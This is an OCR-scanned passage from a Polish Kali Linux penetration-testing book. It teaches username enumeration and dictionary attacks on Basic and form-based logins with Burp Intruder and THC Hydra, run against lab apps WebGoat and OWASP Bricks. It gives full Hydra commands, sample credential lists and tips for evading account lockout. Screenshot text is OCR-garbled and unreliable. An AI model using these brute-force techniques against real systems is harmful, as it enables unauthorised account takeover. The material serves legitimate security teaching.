
Teraz, gdy masz juz przygotowane zadanie ze zdefiniowanymi pozycjami wej$ciowymi i liste
warto$ci, naci$nij przycisk Start Attack (rozpocznij atak):

133

Kup ksigzke Pole¢ ksigzke


http://helion.pl/page354U~rf/kalit3
http://helion.pl/page354U~rt/kalit3

Kali Linux. Testy penetracyjne

‘ Intruder attack 3 &=

Attack Save Columns

J Results TTarget T Positions T Payloads T Cptions ]

| Filter: Showing all iterns

Fequest & | Payload Gtatus Error Timeout | Length Comment
[ 200 @] O 30561

1 admin 200 O O 30471

2 mansger 200 (] (] 30561

3 root Zon a (] 30561

4 Cisco 200 1 [1 S0561

[ Request | Response

Raw | Headers nggiiT HTML T Render |

=p=<b>General Goal(s):=/b> </p=

Users can retrieve their password if they can answer the secret question properly. There is no lock-out mechanism on
this 'Forgot Password' page. Your username is ‘webgoat' and your favorite coler is 'red'. The geal is to retrieve the
password of another user.

=fdiv>

=div id="message" class="info"==/div=

=div id="lessonContent"s==form accept-charset="UNKNOWN' method='POST' name='form'
action='attack?Screen=64&menu=500" enctype=''=<hl=Webgoat Password Recovery =/hl==table align='center' cellspacing='0"
width="90%" bord '8 cellpadding='2"'=<tr==<th colspan='2"' align='left'=Secret Question: What is your favorite
color?</th=</tr><tr=<td width='30%'>*Required Fields</td></tr=<tr><td colspan='2'=&nbsp;</td=</tre=<tr=<td><b=*Answer:
=/b></td>=td><input name='Color' type='TEXT' value=''=</td>=/tr><tr><td>=input name='SUBMIT' type='SUBMIT'
value="Submit'></td=</tr=</table=</form=</div>

Jezeli przyjrzysz sie wynikom ataku przedstawionym na powyzszym rysunku, z pewnosScig
zauwazysz, ze wszystkie wyprébowane nazwy kont wygenerowaly identyczne odpowiedzi;
mowige Scislej, wszystkie konta oprécz jednego. Zwréé uwage, ze w przypadku zadania z kontem
admin nadeszta odpowiedz o innej dlugosci, a kiedy przyjrzysz sie zawartosci odpowiedzi,
zobaczysz, ze znajduje sie tam pytanie o odzyskanie hasta. Wynika stad, ze admin jest w tym
scenariuszu prawidlowa nazwa konta uzytkownika.

Préby pozyskania listy nazw kont uzytkownikéw mozna dokonac za kazdym razem, gdy aplikacja
zwraca rézne odpowiedzi dla poprawnych i nieprawidtowych nazw kont. Ponadto niektdre aplikacje
podczas rejestrowania nowego konta uzytkownika sprawdzaja, czy konto o takiej nazwie juz istnieje,
aby zapewnic jego unikatowa nazwe. Jezeli taka weryfikacja poprawnosci nazwy zostanie przeprowa-
dzona przed przestaniem formularza, oznacza to, ze w badanym systemie istnieje ustuga WWW, ktéra
przeprowadza wstepne sprawdzenie nazwy, i mozna tej ustugi uzy¢ do przeprowadzenia préby pozy-
skania listy kont uzytkownikéw takiego systemu.

Pozyskiwanie haset za pomocg atakéw typu brute force
i atakéw stownikowych

Po zidentyfikowaniu listy kont uzytkownikéw w aplikacji naturalnym krokiem jest préba
znalezienia hasel dla tych uzytkownikéw. Istnieje wiele metod pozyskiwania prawidtowych
haset od uzytkownikéw, np.: podszywanie sie pod oryginalng witryne na innym serwerze
i naktanianie uzytkownikéw za pomoca metod socjotechnicznych do przesytania swoich in-
formacji, wykorzystywanie Zle zabezpieczonych mechanizméw odzyskiwania hasta czy proby
odgadywania wspétuzytkowanych haset.
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Brute force to metoda, ktéra polega na wyprébowywaniu wszystkich mozliwych kombinacji
znakéw w celu znalezienia prawidlowego hasta. Taka metoda moze sie catkiem dobrze spraw-
dza¢ w przypadku aplikacji, ktére zezwalajg na stosowanie krétkich haset, skladajacych sie
maksymalnie z kilku znakéw. Jezeli takie hasta sg dozwolone, to zazwyczaj istnieje spora
szansa na to, ze korzysta z nich co najmniej jeden uzytkownik.

W przypadku dtuzszych hasel atak typu brute force jest catkowicie niepraktyczny, poniewaz
zazwyczaj bedziesz musial wystaé do aplikacji miliony lub nawet miliardy zadan, zanim od-
kryjesz jedno prawidtowe hasto, co powoduje, ze czas niezbedny do przeprowadzenia takie-
go ataku jest znacznie dluzszy (ekstremalnie dluzszy) niz standardowe jeden lub dwa tygo-
dnie przeznaczane zazwyczaj na przeprowadzenie calego testu penetracyjnego. W takiej
sytuacji powinienes$ polegaé raczej na przewidywalnosci elementu ludzkiego — nawet jezeli
teoretycznie liczba mozliwych kombinacji hasetl sktadajacych sie z osmiu lub wiecej znakéw
osigga warto$ci naprawde kosmiczne, my, ludzie, nieco podswiadomie uzywamy tylko nie-
wielkiego podzbioru tych kombinacji, a najpopularniejsze hasta z takiego podzbioru sg bardzo
czesto spotykane w praktyce.

Aby wykorzystaé ten fakt, tworzone sg stowniki, ktére zawieraja takie czesto spotykane
i domy§lne hasla, jak réwniez hasta, ktére wyciekly w poprzednich atakach na popularne
witryny. Korzystajac z tych stownikéw, mozesz znaczgco zminimalizowaé liczbe prob, ktére
musisz przeprowadzi¢, aby znaleZ¢ poprawne hasto lub zwiekszy¢ szanse na znalezienie po-
pularnego hasla, ktére bylo uzywane przez wiele os6b.

0Od roku 2012 serwis SplashData co roku publikuje listy najczesciej uzywanych haset, bazujace na analizach
zbiorow hasef, ktére wyciekty i zostaty upublicznione po udanych atakach hakeréw na catym swiecie.
Wyniki z lat 2017 i 2016 mozna sprawdzi¢ na stronach: Attps.//www.teamsia.com/worst-passwords-
2017-full-list/ oraz https.//www.teamsid.com/worst-passwords-2016/. Innq listg publikowang co
roku jest lista najpopularniejszych haset przygotowywana przez deweloperéw menedzera Keeper:
https.//blog.keepersecurity.com/2017/01/13/most-common-passwords-of-2016-research-study/.

Ataki na uwierzytelnianie typu Basic za pomocq pakietu THC Hydra

Pakiet THC Hydra od dawna jest ulubionym narzedziem do famania haset online zar6wno
wsréd hakerow, jak i pentesteréw.

Lamanie hasel w trybie online oznacza, ze program w kazdej iteracji dokonuje préby logo-
wania do ustugi sieciowej. Moze to generowaé relatywnie duzy ruch sieciowy i powodowaé
pojawianie sie ostrzezen na serwerze, zwlaszcza gdy jest on wyposazony w rézne narzedzia
bezpieczenstwa i systemy wykrywania wlaman. Z tego powodu podczas przeprowadzania
proby pozyskania haset za pomoca ataku typu brute force lub ataku stownikowego na aplika-
cje lub serwer powinienes zachowa¢ szczegblng ostroznosé i ustawié parametry ataku tak,
aby uzyska¢ najlepsza mozliwa szybkosé dziatania bez przecigzania serwera, generowania
alertéw lub blokowania kont uzytkownikéw.
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Dobrym podejsciem do przeprowadzania atakéw online, gdy Srodowisko celu jest monitorowane lub
gdy atakowane konto jest automatycznie blokowane po wykonaniu okreslonej liczby nieudanych préb
logowania, jest rozpoczecie ataku z trzema lub czterema hastami na uzytkownika, ewentualnie z liczbg
préb mniejszg niz prog blokady. Na poczatek wybierz najbardziej oczywiste lub czesto uzywane hasta
(password, admin czy 12345678), a jezeli taka proba sie nie powiedzie, wro¢ do etapu rozpoznania,
postaraj sie uzyska¢ wiecej szczegétowych informadji o celu i wybrac lepszy zestaw haset, a nastepnie
sprobuj ponownie po kilku minutach lub godzinach.

Pakiet THC Hydra ma mozliwo$¢ taczenia sie z szerokg gama ustug sieciowych, takich jak
FTE SSH, Telnet czy RDP. Wykorzystamy go do ataku stownikowego na serwer HTTPE ktéry
uzywa uwierzytelnienia typu Basic.

Najpierw musisz pozna¢ adres URL, ktéry faktycznie przetwarza dane logowania. Uruchom
swojg maszyne z systemem Kali Linux, otworz pakiet Burp Suite i skonfiguruj przegladarke
tak, by uzywata go jako proxy. W naszym przykladzie uzyjemy podatnej na atak maszyny
wirtualnej i aplikacji WebGoat. Podczas proby uzyskania dostepu do WebGoat pojawia sie
okno dialogowe z prosba o podanie danych logowania. Jezeli przesytasz dowolna, losowa
nazwe i hasto, ponownie otrzymasz to samo okno dialogowe:

€ 9 ©|107.75 search

[ Most visited~ JllOffensive Security e Kali Linux S Kali Docs " Kali Tools # Exploit-DB Wy Aircrack-ng glkali Forums

__!!! This VM has many serious security issues. We strongly recomm
|_vou run it onlv on the "host onlv" or "WNAT" network in the virtual
& | Authentication Required (S E X

http://10.7.7.5 is requesting your usemame and password. The site says: "WebGoat
Application”

User Name: | testuser

H

Password: | 900080000000

Cancel OK

WOWASP RailsiGoat WUWASP BTICKS

Nawet jezeli proba logowania sie nie powiodla, zadanie jest juz zarejestrowane w Burp
Proxy. Nastepnie wyszukaj zadanie, w ktérym znajduje sie nagléwek Authorization: Basic
(patrz zrzut na nastepne;j stronie).

Teraz wiesz, ze adres URL odpowiadajacy za logowanie do aplikacji to http://10.7.7.5/WebGoat/attack.
Jest to wystarczajaca ilo$¢ informacji do uruchomienia Hydry, ale najpierw musisz przygotowaé
liste mozliwych nazw kont uzytkownikéw i druga, zawierajaca hasta. W rzeczywistym scena-
riuszu listy potencjalnych nazw uzytkownikéw i haset zaleza od organizacji, aplikacji i wie-
dzy uzytkownikéw. W naszym przyktadzie dla aplikacji WebGoat mozesz uzy¢ nastepujacej
listy prawdopodobnych nazw kont uzytkownikéw:
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Burp Intruder Repeater Window Help

[Target I Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Exte

Intercept | HTTP history TWebSDckets history T Options ]

‘ Filter: Hiding C55, image and general binary content

# 4 | Host | Method | URL | Params
q http: F10.7. 7.5 GET fanimatedcallapse.js o
9 http:/#10.7.7.5 GET MebGoatfattack O
10 http:/f10.7.7.5 GET MebGoat/attack O
< J

Request | Response ]
J Raw T Farams T Headers T Hex ]

GET /WebGoat/attack HTTP/L.1

Host: 10.7.7.5

User-Agent: Mozillas5.0 (X11; Linux x86_64; rv:52.0) Gecke/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8
Accept-Language: en-US,en;g=0.5

Referer: http://10.7.7.5/

Cookie: jiwelastVisited=1507072765009; Server=b3dhc3Bid2E=; acopendivids=swingset,jotto
JSESSIONID=0B1FA4CD375EBBF27B1337BE7BFO8001; PHPSESSID=khfdOv3ieeBfd4sObs3kgbrlecod
Connection: close

Upgrade-Insecure-Reguests; 1

Authorization: Basic dGVzdHVzZXIGdGVzdHBhc3N3b3dk

adminwebgoat
administrator
user

test

testuser

Jezeli chodzi o liste hasel, mozesz wyprébowaé¢ niektére z najbardziej popularnych haset
oraz doda¢ ré6zne warianty nazwy aplikacji:

123456

password

Passwordl

admin

webgoat

WebGoat

qwerty

123123

12345678

owasp

Zapisz liste uzytkownikoéw jako plik users.txt, a liste hasel jako plik passwords.txt. Najpierw
uruchom polecenie hydra bez zadnych parametréw, aby wyswietli¢ opis skladni i opcji wy-
wolania polecenia:
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2017 by van Hauser/THC - Please do not use in military or secret service organizations,
or for 1llegal purposes.

Syn hydra [[[-1 LOGIN|-L FILE] [-p PASS|-P FILEl] | [-C FILE]] [-e nsr]l [-o FILE] [-t TASKS] [-M F
ILE [-T TASKSI] [-w TIME] [-w TIME] [-f1 [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvvd46] [servic
e://server[:PORTI[/0PT]]

Optiens:
-1 LOGIN or -L FILE login with LOGIN name, or load several logins from FILE
-p PASS or -P FILE try password PASS, or load several passwords from FILE
-C FILE colon separated "login:pass" format, instead of -L/-P options
-M FILE list of servers to attack, one entry per line, ':' to specify port
-t TASKS run TASKS number of connects in parallel per target (default: 16)
service module usage details

more command line options (COMPLETE HELP)

the target: DNS, IP or 192.168.0.08/24 (this OR the -M option)

the service to (see below for supported protocols)

some service modules support additional input (-U for module help)

Supperted services: adam6500 asterisk cisce cisco-enable cvs firebird ftp ftps httpls]-{head|get|pest}
httpls]-{get|post}-form http- pr -urlenum 1cq imapls] 1rc ldap2[s] ldap3[-{cram|digest}md
5][s] mssql mysgl nntp oracle-listener orac id pcanywhere penfs pop3[s] postgres radmin2 rdp redis
rexec rlogin rp~ p rsh rtsp s7-300 sip smb smtpls] smtp-enum snmp socks5 ssh sshkey svn teamspeak teln
et[s] vmauthd mpp

Hydra is a tool to guess/cr /password pairs. ensed under AGPL
v3.8. The newest wersion lways le at http://www.thc.org/thec-hydra
Don't use 1n military or secret service orqanl;atlcns, or for 1llegal purposes.

Example: hydra -1 user -P passlist.txt ftp://192.168.0.1

Widaé, ze aby zdefiniowa¢ plik zawierajacy liste potencjalnych nazw kont uzytkownikéw,
musimy uzy¢ opcji -L, do okreslenia pliku listy hasel musimy uzy¢ opcji -P, a protokét, adres
serwera i dodatkowe informacje mozemy zdefiniowaé w nastepujacy sposéb: protocol://
server:port/optional. Uruchom ponizsze polecenie:

hydra -L users.txt -P passwords.txt http-get://10.7.7.5:8080/WebGoat/attack

dra -L users.txt -P passwords.txt http-get://10.7.7.5:8080/WebGoat/attack
Hydra v8.6 2017 by van Hauser/THC - Please do not use in military or secret service or
or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2017-16-19 12:26:41

[DATA] max 16 tasks per 1 server, overall 16 tasks, 68 login tries (l:6/p:10), ~4 tries pe
[DATA] attacking http-get://10.7.7.5:8080//WebGoat/attack

[geBe] [http-get] host: 18.7.7.5 login: webgoat password: webgoat

1 of 1 target successfully completed, 1 valid password found

Hydra (http://www.thc.org/thc-hydra) finished at 2017-10-19 12:26:42

Po uruchomieniu polecenia szybko sie przekonasz, ze w tym przykladzie do serwera moze-
my sie zalogowa¢, uzywajac konta uzytkownika o nazwie webgoat i hasta webgoat.

Jedng z bardzo uzytecznych opcji wywotania programu Hydra jest -e z modyfikatorami n, s lub r, ktére
moga zmienia¢ proces logowania, wysytajac puste hasto (n), uzywajac nazwy uzytkownika jako hasta (s),
odwracajac nazwe uzytkownika i uzywajac jej jako hasta (r). Ciekawa i bardzo przydatng opcjg jest
réwniez -u, ktora powoduije, ze Hydra najpierw pobierze pierwsze hasto z pliku haset i sprébuje sie zalo-
gowac po kolei na wszystkie podane konta uzytkownikéw, nastepnie pobiera drugie hasto i prébuje
sie zalogowac po kolei na wszystkie konta itd., az do wyczerpania sie pliku haset. Takie postepowanie
moze pomdc Ci unikng¢ zablokowania przez niektére mechanizmy obronne Srodowiska celu.
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Ataki na uwierzytelnianie oparte na formularzach

Poniewaz proces logowania za posrednictwem formularza nie jest w zaden spos6b ustanda-
ryzowany, a aplikacje internetowe sa znacznie bardziej elastyczne pod wzgledem sprawdza-
nia poprawnosci i zapobiegania atakom, ataki typu brute force na systemy wykorzystujace
uwierzytelnianie oparte na formularzach stanowig szczegélne wyzwanie, poniewaz:
B Parametry, za pomocg ktérych przekazywane sg nazwy kont uzytkownikéw
oraz hasta, nie majg zadnej standardowej nazwy, pozycji ani formatu.
B Nie istnieje zaden standard, ktéry okreslatby, jak powinna wygladaé
standardowa negatywna i pozytywna odpowiedz na prébe logowania.
B Kontrole poprawnosci danych po stronie klienta i po stronie serwera moga zapobiega¢
niektérym rodzajom atakéw lub wielokrotnemu powtarzaniu przesyltanych zadan.
B Uwierzytelnienie mozna wykonywac¢ w wiecej niz jednym kroku; np. zadajac
podania nazwy konta uzytkownika na jednej stronie i hasta na nastepnej stronie.

Szczesliwie dla pentesteréw wiekszo$¢ aplikacji wykorzystuje podstawowy wzor formularza
HTML, wyslany przez zadanie POST, gdzie nazwa uzytkownika i hasto sg przekazywane jako pa-
rametry, po pomyslnym zalogowaniu sie nastepuje przekierowanie do strony gféwnej, a w przy-
padku niepowodzenia wy$wietlany jest komunikat o wystapieniu bledu lub nastepuje ponowne
przekierowanie na strone logowania. Teraz przeanalizujemy dwie metody, ktérych mozna uzy-
wa¢ do przeprowadzenia ataku stownikowego na tego rodzaju formularz. Ta sama zasada odnosi
sie do prawie wszystkich mechanizméw uwierzytelniania opartych na formularzach, z pewnymi
modyfikacjami sposobu interpretacji odpowiedzi i wymaganych do przestania parametrow.

Zastosowanie modutu Burp Intruder

Podobnie jak w przypadku ataku na uwierzytelnianie typu Basic, aby przeprowadzi¢ po-
prawny atak na formularz, musimy zidentyfikowaé¢ zadanie, ktére realizuje faktyczne uwie-
rzytelnienie, i sprawdzié jego parametry.

Na ponizszym zrzucie ekranu po lewej stronie przedstawiono fragment formularza logowania apli-
kacji OWASP Bricks (w menu gléwnym maszyny wirtualnej BWA wybierz polecenie Bricks/Login
pages/Login #3 (Bricks/strony logowania/login numer 3)), a po prawe;j stronie fragment okna Burp
Proxy z wy$wietlonym zadaniem przestanym za pomocg metody POST. Zwr6é uwage, ze parametry
username i passwd sa wysylane w tresci zadania, a w jego nagléwku nie ma pola Authorization:

Request | Response |

L4 —_—
|| Raw | Params THeaders THex |
r I ‘ S POST /owaspbricks/login-3/index.php HTTP/1.1
Host: 192.168.1.6

Content-Length: 39
Cache-Control: max-age=0
lorigin: http://192.168.1.6
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86 64) AppleWebKit/537.35 (KHTML, like Gecke) Ubuntu
Chromium/61.0,3163.100 Chrome/61.0.3163.100 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image /webp,image/apng,*/*;q=0.8
Username: Referer: http://192.168.1.6/0waspbricks/login-3/
Accept-Language: es-ES,es;q=0.8,en;q=0.6
‘Cnukle: PHPSESSID=812abv] Ogi6ndmdak jpvuSc6)6; JSESSIONID=26DE8011C141F0121B2BE4AS00F74D17
‘Cunnectlun: close

Login

You are not logged In. x

Password: |
username=testipasswd=testasubmit=submit
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Aby wykona¢ atak stlownikowy na tej stronie logowania, musimy najpierw przeanalizowaé
otrzymang odpowiedz, by sprawdzi¢, co odréznia nieudane logowanie od udanego:

# 4 Host | Method | URL | Params | Edited | Status | Length | MIME type |Extension | Title
141 Nttpy/I92.168. L6 GET PBITCKS/TOgIN-37 5] ) ) {4 HIVIC BFcKs
142 http://192.168.1.6 POST Jowasphbricks/login-3/index.php ) O 200 3845 HTML php Bricks
143 http://192.168.1.6 POST Jowaspbricksflogin-3findex.php ) O 200 3843 HTML php Bricks
-

N

[Request Response
Raw | Headers | Hex | HTML | Render

<div class="row'=
=div class="four columns centered"=>
<br/=<br/=<a href="../index.php"=<1mg src="../images/bricks.]jpg" /></a=<br/=<br/=>
=form method="POST" action="1index.php" enctype="application/x-www-form-urlencoded"=
<fieldset>

<legend=Login=</legend=
<p==div class="alert-box alert"-Wrong user name or password.<a href="" class="close"=&times; </
<p=Username: <input type="text" name="username" id="username" size="25" required/=</p>
<p=Password: <input type="password" name="passwd" id="passwd" size="25" required/=</p=
<p=<input type="submit' class="small button" name="submit" id="submit" value="Submit"/></p>

Na zrzucie ekranu mozna zauwazy¢, ze w przypadku niepowodzenia logowania odpowiedz
zawiera komunikat Wrong user name or password (niepoprawna nazwa konta uzytkownika
lub hasto). Mozemy $mialo zatozy¢, ze takiego komunikatu nie zobaczymy w odpowiedzi
potwierdzajacej pomyslne zalogowanie sie do aplikacji.

Nastepnie przekazujemy to zadanie do modutu Intruder, definiujemy parametry username
oraz passwd jako dane wejsciowe i jako typ ataku wybieramy Cluster bomb:

[ Target I Proxy I Spider T Scanner T Intruder 1

(2 Jiznal )
Target | Positions T Payloads IOpt\ons l

2 | Start attack

Configure the positions where payloads will be inserted into the base request. The attack type determines the way
in which payloads are assigned to payload positions - see help for full details.

Attack type: | Cluster bomb v]

POST jowaspbricks/login-3/index.php HTTP/1.1
Host: 192.188.1.6

| Add §
Content-Length: 39 | Clear §
Cache-Control: max-age=0

origin: http://192.168.1.6

| Auto §
Upgrade-Tnsecure-Requests: 1

User-Agent: Mozilla/S.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) [ ERr—
Ubuntu Chromium/61.0.3163.100 Chrome,/61.0.3163.100 Safari/537.36

Content-Type: application/x-www-form-urlencoded

Accept:

text/html, application/xhtml+xml, application/xml; q=0.9, 1mage /webp, 1mage/apng, */*;q=0.8
Referer: http://192.168.1.6/owaspbricks/login-3/

Accept-Language: es-ES,es;g=0.8,en;q=0.6

Cookle: PHPSESSID=812sbv]j0giéndmdak]pvuscE]s;
JSESSIONID=26DE58011C141F0121B2BE4AASSOF7ADLT

Connection: close

T

username=§ testiSpasswd=8testi&submi t=Submi t

Nastepnie przechodzimy na karte Payloads (fadunki), z listy rozwijanej Payload Set (zestaw
tadunkéw) wybieramy tadunek numer 1 i fadujemy plik users.txt zawierajacy nazwy uzyt-
kownikéw, z ktérego korzystalismy wezesniej:
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Target | Positions PayloadsTOptions

&J

Payload set: |_ 1 J Payload count: O

Payload type: | Simple list J Request count: 0

You can define ane or more payload sets. The number of payload sets depends on the attack type defined in the Positi
payload types are available for each payload set, and each payload type can be customized in different ways.

Q E

This payload type lets Look In: |ﬁ' WebPentest

| Paste | dirb_result_10.7.7.5.txt
' passwords.txt
Load ... — P
b || users.txt
| Remove
| Clear

| add Enter o File Mame: users. txt

Add from list ... [Pro v Files of Type: |-A” Files

Open | | Cancel

Jako zestaw tadunkéw numer 2 uzyjemy pliku haset passwords.ixt, ktérego réwniez uzywali-

$my w poprzednim ¢wiczeniu:

Target | Positions | Payloads T Options ]

@

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions

payload types are available for g ‘

Payload set: | 2
) Look In: |ﬁWebPentest

Payload type: |_ Simple list

| dirb_result_10.7.7.5.txt
; passwords. txt

|‘1’| _ users.txt

This payload type lets you config

| Paste
Load ..
| Rermnove

File Narne: passwords. txt

Files of Type: |_AII Files

e EEx

| Clear

Cpen | Cancel

| Add | |Enter a new Jtem

Jak wida¢ na kolejnym rysunku, do serwera zostanie wystanych 60 zadan, poniewaz w naszych
przyktadowych plikach znajdowalo sie 6 nazw kont uzytkownikéw i 10 mozliwych hasel:

Kup ksigzke
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Target | Positions | Payloads TOptions ]

2

You can define one ar more payload sets. The number of payload sets de
peyload types are available for each payload set, and each payload type

Payload set: | 2 v] Payload count: 10

Payload type: | Simple list v] Request count: 60

W tym momencie mozesz juz rozpoczaé atak, przeanalizowa¢ otrzymane odpowiedzi i spraw-
dzi¢, czy jaka$ kombinacja logowania zakoniczyla sie powodzeniem. Modut Burp Intruder
ma jeszcze kilka innych funkeji, ktére moga znaczgco utatwi¢ Ci zycie, nie tylko w prostych
scenariuszach takich jak ten, ale takze podczas atakowania zlozonych, rozbudowanych apli-
kacji w rzeczywistym Srodowisku celu. Aby sie o tym przekonaé, przejdz na karte Options
(opcje), a nastepnie wybierz opcje Grep — Match (wyszukiwanie z uzyciem wyrazenia
grep), ktéra powoduje automatyczne wyszukiwanie podanego tekstu w otrzymanych odpo-
wiedziach, dzieki czemu mozemy latwo zidentyfikowaé zadania logowania, ktére zakonczyly
sie powodzeniem. Zaznacz opcje Flag result items with responses matching these expressions
(0oznacz zadania, ktérych zawartos¢ pasuje do podanych wyrazen), wyczy$¢ biezaca liste wy-
razen i w polu Enter a new item (wprowadZ nowy element) wpisz nastepujace wyrazenie:

Wrong user name or password

Nacisnij klawisz Enter lub kliknij przycisk Add (dodaj). Modut Intruder automatycznie wyrézni
wszystkie odpowiedzi zawierajace podany komunikat, w zwigzku z tym te, ktére nie zostang ofla-
gowane, moga oznaczaé¢ pomyslne logowanie. Jezeli wiesz, jaki komunikat jest przesytany w od-
powiedzi w przypadku poprawnej préby logowania, mozesz wprowadzié¢ go zamiast komunikatu
uzytego powyzej i w ten sposéb bezposrednio zidentyfikowaé poprawny zestaw poswiadczen:

mme

[Target T Positions T Payloads ]’ Options ]

2
(@) These settings can be used to flag result items containing specified expressions.
- [¥] Flag result items with responses matching these expressions:

| Paste | |Wronguser name or passward.

| Load ... |

|_ Remowve J

| Clear |

| Add | |Wrong user name or password.

Match type: (@ Simple string
() Regex

|| case sensitive match
] Exclude HTTP headers

142

Kup ksigzke Pole¢ ksigzke


http://helion.pl/page354U~rf/kalit3
http://helion.pl/page354U~rt/kalit3

Rozdziat 4. e Podatnosci uwierzytelniania i zarzadzania sesjami

Rozpocznij atak i poczekaj na wyniki:

Attack Save Columns
J Results TTarget T Positions T Payloads T Options |
‘ Filter: Showing all items 4|
Request «|Payloadl Payload2 Status Error Timeout | Len... |Wrong user name or password. | Comment
17 test Passwordl 200 J o 3850 ] p‘
18 testuser Passwordl 200 ()] ] 3854 ]
19 admin admin 200 UJ U 3843 O
20 webgoat admin 200 O O 3849 ]
21 administrator  admin 200 O O 3855 ] )
22 user admin 200 O O 3846 ]
23 test admin 200 0] [J 3846 [}
24 testuser admin 200 O O 3850 W
25 admin webgoat 200 O O 3849 ]
26 webgoat webgoat 200 O O 3851 ] L
27 administrator  webgoat 200 J [ 3857 (] v
a LS
Raw | Headers T Hex T HTML T Render ‘
<body= &
<div class="row"= r
<div class="four columns centered"=
<br/=<br/><a href="../index.php"=<img src="../images/bricks.jpg" /=</a=<br/=<br/=
<form method="POST" action="index.php" enctype="application/x-www-form-urlencoded"=
<fieldset>
<legend=Login</legend= )
<p=<div class="alert-box success"=Succesfully logged in.la href=""
class="close">&times;</a></div></p>
<p=Username: <input type="text" name="username" ld="username" size="25"
required/=</p=
<p=Password: <input type="password" name="passwd" id="passwd" size="25" L
required/=</p= v

Wyglada na to, ze udato nam sie znaleZ¢ przynajmniej jedng prawidlowa kombinacje nazwy
konta uzytkownika i hasta dostepu.

Zastosowanie pakietu THC Hydra

Wsréd wielu protokotéw obstugiwanych przez pakiet Hydra znajdziemy takie jak http-get-
form, http-post-form, https-get-form i https-post-form, ktére sa formularzami logowania
HTTP i HTTPS przesylanymi za pomocg metod odpowiednio GET i POST. Korzystajac z in-
formacji z poprzedniego ¢wiczenia, mozemy zatem uruchomi¢ atak stownikowy z uzyciem
pakietu Hydra za pomocg nastepujacego polecenia:

hydra 10.7.7.5 http-form-post

" Jowaspbricks/Togin-3/index.php:username="USER"&passwd="PASS*&submit=Submit

:Wrong user name or password." -L users.txt -P passwords.tx

# hydra 10.7.7.5 http-form-post "/owaspbricks/login-3/1ndex.php:username="USER"
submit=Submit:Wrong user name or password." -L users.txt -P password
an Hauser/THC - Please do not use in military or secret service organizatiens

1 s per 1 server
cking http-post-form:

PASS~&submit=Submit:Wrong user n

[88] [http-post-form] host: 18.7.7.5 I H password: admin

1 of 1 target s ssfully lete lid word found

[WARNING] Writing restore file b > rker threads did not complete until end.
[ERROR] 5 targets did not resolve or could not be connected

[ERROR] 16 targets did not complete

Hydra (http w.thc.org/the-hydra) finished at 2017-10-26 14:16:41
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Z pewnoScig zauwazyles, ze w tym przypadku skladnia polecenia wywolujacego program
Hydra jest nieco inna niz poprzednio. Przyjrzyjmy sie temu blizej:
1. Rozpoczynamy od nazwy polecenia hydra i adresu IP hosta docelowego
(hydra 10.7.7.5).
2. Nastepnie podajemy protokét lub ustuge, ktérg chcemy przetestowac
(http-form-post).
3. Dalej dodajemy parametry specyficzne dla protokotu, ktére umieszczamy
w cudzystowach prostych ("") i rozdzielamy dwukropkami:
®m  Adres URL (/owaspbricks/Togin-3/index.php).
m  Tres¢ zadania ze wskazaniem miejsca ~USER™, gdzie Hydra powinna umiesci¢
nazwy uzytkownikéw, i *PASS™ dla miejsca, w ktérym powinny sie znalez¢ hasta.
m  Nieudany komunikat logowania (Wrong user name or password.).
m  Na koncu podajemy nazwy plikéw z listg uzytkownikéw (opcja -L)
oraz hasel (opcja -P).

Mechanizm resetowania hasta

Innym, powszechnie spotykanym i czesto podatnym na atak elementem aplikacji interneto-
wych jest implementacja mechanizmu odzyskiwania i resetowania hasta.

Poniewaz aplikacje sieciowe muszg by¢ przyjazne dla uzytkownika, a zdarza sie, ze niektérzy
uzytkownicy zapominajg swoje hasta, aplikacje muszg zawiera¢ sposob, ktéry bedzie umoz-
liwiat im resetowanie lub odzyskiwanie hasel. Opracowanie bezpiecznego sposobu wykona-
nia takiej operacji nie jest fatwym zadaniem i w wielu przypadkach koriczy sie pozostawie-
niem w aplikacji stabego ogniwa, ktére moze wykorzysta¢ pentester lub napastnik.

Odzyskiwanie hasta zamiast resetowania
Kiedy deweloper aplikacji staje w obliczu sytuacji, ze uzytkownik nie pamieta swojego hasta,
moze wybraé jedno z dwéch najezesciej stosowanych rozwiazan:

1. Pozwoli¢ uzytkownikowi na odzyskanie starego hasla.

2. Pozwoli¢ uzytkownikowi na zresetowanie starego hasla i ustawienie nowego.
Warto jednak zauwazy¢, ze sam fakt, iz aplikacja pozwala uzytkownikowi na odzyskanie starego
hasta, implikuje istnienie pewnych oczywistych luk bezpieczefistwa w projekcie aplikacji:

B Zamiast uzywania jednokierunkowego algorytmu haszujacego, ktory jest najlepszym
sposobem na przechowywanie hasel, sa one zapisywane w bazie danych w sposéb
umozliwiajacy ich odzyskanie.

B Po stronie serwera hasto uzytkownika moze by¢ odzyskane przez administratora
systemu lub innego uzytkownika posiadajacego odpowiednie uprawnienia
(np. pracownika dzialu wsparcia technicznego). Zdeterminowany napastnik moze
réwniez by¢ w stanie to zrobi¢ poprzez inzynierie spoteczng lub wykorzystanie
potencjalnych podatnosci i luk w systemie zabezpieczen.
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B Odzyskane haslo jest potencjalnie narazone na przechwycenie przez osoby trzecie
podczas przekazywania uzytkownikowi, co zwykle odbywa sie za posrednictwem
poczty elektronicznej, telefonicznie lub przez wyswietlenie na stronie internetowej.
Istnieje wiele sposobéw, w ktérych kto$ znajdujacy sie w tej samej sieci lub nawet
osoba postronna moze przechwycié¢ takie informacje.

Typowe btedy w mechanizmach resetowania hasta

Bardzo popularng metoda, ktéra umozliwia uzytkownikom odzyskiwanie lub resetowanie hasel,
jest zadawanie jednego lub wiecej pytan, na ktére odpowiedz powinien znaé tylko prawo-
wity uzytkownik. Obejmuje to pytania o miejsce urodzenia, pierwsza szkote, imie pierwsze-
go zwierzaka czy panienskie nazwisko matki. Problemy pojawiajg sie, gdy pytania zadawane
przez aplikacje nie sg tajemnicg dla potencjalnego napastnika, a lawinowo narastaja, jezeli
uzytkownik jest osobg o wysokim stopniu rozpoznawalnosci, np. celebryty lub politykiem,
gdy wiele szczeg6low dotyczacych jego zycia jest publicznie dostepne.

